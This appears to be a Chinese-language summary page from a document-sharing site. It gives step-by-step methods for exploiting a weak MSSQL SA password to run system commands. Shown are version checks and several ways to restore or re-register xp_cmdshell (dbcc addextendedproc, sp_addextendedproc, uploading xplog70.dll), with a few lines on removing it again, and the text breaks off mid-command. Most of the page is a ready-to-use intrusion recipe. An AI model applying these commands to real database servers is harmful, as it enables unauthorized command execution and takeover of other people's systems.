MSSQL口令总结.docVIP

MSSQL口令漏洞方法 使用工具：MSSQL查询分析器，SQL连接命令执行工具 一般方法步骤： 在扫描器得到MSSQL的SA用户弱口令后，通过查询分析器可以访问数据库数据；通过连接命令执行工具可以执行系统命令 问题及解决： ***首先判断SQL版本号 在连接工具的 SQL COMMAND里输入 SQL 语句 Select @@Version 或 SELECT SERVERPROPERTY(ProductVersion) 得到信息 Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) 于是可判断SQL版本，针对版本不同做以下不同处理 SQL2000版本 ***出现错误提示： Error Message:Cannot load the DLL xplog70.dll, or one of the DLLs it references. Reason: 126(The specified module could not be found.) 解决步骤： 判断存储扩展是否存在（一般不存在） select count(*) from master.dbo.sysobjects where xtype=x and name=xp_cmdshell 返回结果为1则存在 =================================================================== 恢复方法一： 这样可以直接恢复xp_cmdshell，不用去管sp_addextendedproc是不是存在 dbcc addextendedproc (sp_oacreate,odsole70.dll) dbcc addextendedproc (xp_cmdshell,xplog70.dll) =================================================================== 恢复cmdshell，前提是sp_addextendedproc存在 exec sp_addextendedproc xp_cmdshell ,@dllname =xplog70.dll =================================================================== 恢复xp_cmdshell方法二 exec sp_addextendedproc xp_cmdshell,xplog70.dll select count(*) from master.dbo.sysobjects where xtype=x and name=xp_cmdshell 返回结果为1就ok =================================================================== 想办法上传xplog7.0.dll到主机某目录后执行 exec master.dbo.addextendedproc xp_cmdshell,c:\winnt\system32\xplog70.dll =================================================================== 删除扩展存储过过程xp_cmdshell，堵上cmdshell后门 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc xp_cmdshell =================================================================== ***当错误提示是： sp_addextendedproc不存在 执行： create procedure sp_addextended